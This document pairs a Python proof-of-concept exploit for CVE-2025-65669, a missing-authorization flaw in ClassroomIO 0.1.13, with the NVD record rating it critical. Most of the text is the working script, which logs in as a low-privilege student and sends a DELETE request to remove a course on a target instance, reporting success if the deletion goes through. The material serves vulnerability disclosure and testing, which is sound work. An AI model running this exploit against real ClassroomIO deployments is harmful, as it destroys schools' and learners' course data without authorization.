CVE-2025-65669

# CVE-2025-65669 PoC - ClassroomIO Unauthorized Course Deletion # This PoC demonstrates the IDOR vulnerability allowing student accounts to delete courses import requests import json TARGET_URL = "https://target-classroomio-instance.com" COURSE_ID = "12345" # Target course ID to delete def exploit_unauthorized_course_deletion(): """ Exploit the missing authorization check in course deletion endpoint. A student account can delete courses without admin privileges. """ # Login as student user (low-privilege account) login_url = f"{TARGET_URL}/api/auth/login" student_credentials = { "email": "[email protected]", "password": "student_password" } session = requests.Session() login_response = session.post(login_url, json=student_credentials) if login_response.status_code != 200: print(f"[-] Login failed: {login_response.status_code}") return False print("[+] Successfully logged in as student user") # Attempt to delete course without admin privileges (IDOR vulnerability) delete_url = f"{TARGET_URL}/api/courses/{COURSE_ID}/delete" # No authorization header or admin token required delete_response = session.delete(delete_url) if delete_response.status_code == 200: print(f"[+] VULNERABLE: Course {COURSE_ID} deleted successfully without admin rights") print(f"[+] Response: {delete_response.text}") return True else: print(f"[-] Course deletion failed or protected: {delete_response.status_code}") return False def verify_vulnerability(): """ Verify the vulnerability exists by checking if authorization is enforced. """ print("=" * 60) print("CVE-2025-65669 Verification") print("ClassroomIO 0.1.13 - Unauthorized Course Deletion") print("=" * 60) # Check if delete endpoint requires authentication check_url = f"{TARGET_URL}/api/courses/{COURSE_ID}" response = requests.get(check_url) if response.status_code == 200: print("[+] Course exists and is accessible") # Attempt exploitation exploit_unauthorized_course_deletion() if __name__ == "__main__": verify_vulnerability()

{"cve": {"id": "CVE-2025-65669", "sourceIdentifier": "[email protected]", "published": "2025-11-26T19:15:47.483", "lastModified": "2025-12-03T20:50:01.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in classroomio 0.1.13. Student accounts are able to delete courses from the Explore page without any authorization or authentication checks, bypassing the expected admin-only deletion restriction."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:classroomio:classroomio:0.1.13:*:*:*:*:*:*:*", "matchCriteriaId": "7C6D9D0E-58A9-4468-90E2-3717E4632BF0"}]}]}], "references": [{"url": "http://classroomio.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Rivek619/CVE-2025-65669", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/classroomio/classroomio", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Rivek619/CVE-2025-65669", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}